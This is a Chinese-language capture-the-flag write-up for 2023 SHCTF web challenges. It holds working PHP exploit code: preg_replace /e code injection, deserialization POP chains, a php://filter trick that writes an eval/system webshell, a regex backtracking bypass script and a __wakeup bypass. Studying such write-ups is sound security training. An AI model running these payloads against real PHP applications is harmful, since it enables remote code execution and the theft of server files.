2023SHCTF web方向wp_代码007(未授权)

本文介绍: php中{}里面的变量会被解析，这样就能执行 phpinfo()，本来一直尝试文件读取，结果 flag就在phpinfo 里面。传参 pattern=.*， .*表示任意字符，code={${phpinfo()}} ，为什么这样写，因为。把$num url de code之后拼接在flag后面md5加密，然后要与POST的SHCTF相等。下面一个绕过，需要 code 里面有SHCTF，但是SHCTF前面又不能有东西，这里用回溯绕过。正常的p op链，注意一下php 序列化里面的指针用法，把$g ao的地址写到$a上。

看一眼，你大爷，啥玩意都给我过滤完了。

还好下面有p reg_replace()/e，会把replace m ent当作php 语句执行

传参 pattern=.*， .*表示任意字符，code={${php info()}} ，为什么这样写，因为,'print_r("\1")'，如果直接传phpinfo()，会被当作字符串对待，而p hp中{}里面的变量会被解析，这样就能执行phpinfo()，本来一直尝试文件读取，结果 flag就在phpinfo里面。

&lt;?php

class Start{

    public $barking;



    public function __toString(){

            return $this-&gt;barking-&gt;dosomething();

    }

}



class CTF{

    public $part1="php://filter/string.strip_tags|convert.base64-decode/resource=6.php";

    public $part2='IDw/cGhwIEBldmFsKHN5c3RlbSgnY2F0IC9mbGFnJykpOz8+';



   

    public function dosomething(){

        $useless   = '<?php die("+Genshin Impact Start!+");?>';

        $useful= $useless. $this->part2;

        file_put_contents($this-> part1,$useful);

    }

}



class Flag{

    public function dosomething(){

        include('./flag.php');

        return "barking for fun!";

       

    }

}

$a=new Start;

$a->barking=new CTF;

echo serialize($a);

parse_url()函数：是 PHP 内置函数之一，用于解析 URL 字符串，将其拆分为不同的组成部分，可以获取协议、主机名、端口号、路径、查询参数等信息。

SHCTF=host://SHCTF:pass@user/path?args=value#anch

import  requests
data={"c_ode":'2023'*260000+'SHCTF'}
url='http://112.6.51.212:30302/?num[]=1'
res=requests.post(url=url,data=data,allow_redirects=False)
print(res.text)

$a=new B;
$a->q=new C;
$a->q->z=new D;
$a->q->z->p=new A;
$a->q->z->p->var_1='php://filter/read=convert.base64-encode/resource=flag.php';
echo serialize($a);

<?php
class misca{
    public $gao;
    public $fei;
    public $a;
}
class musca{
    public $ding;
    public $dong;

}
class milaoshu{
    public $v;

}
$a=new musca;
$a->ding=new misca;
$a->ding->a='aa';
$a->ding->gao=&amp;$a->ding->a;
$a->ding->fei=new milaoshu;
$a->ding->fei->v='php://filter/read=convert.base64-encode/resource=flag.php';
echo serialize(array($a));

<?php
class flag{
    public $username='admin';
    public $code='php://filter/read=convert.base64-encode/resource=flag.php';
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    }
}
$a=new flag;
echo serialize($a);
序列化得到
O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
把2改为3得到flag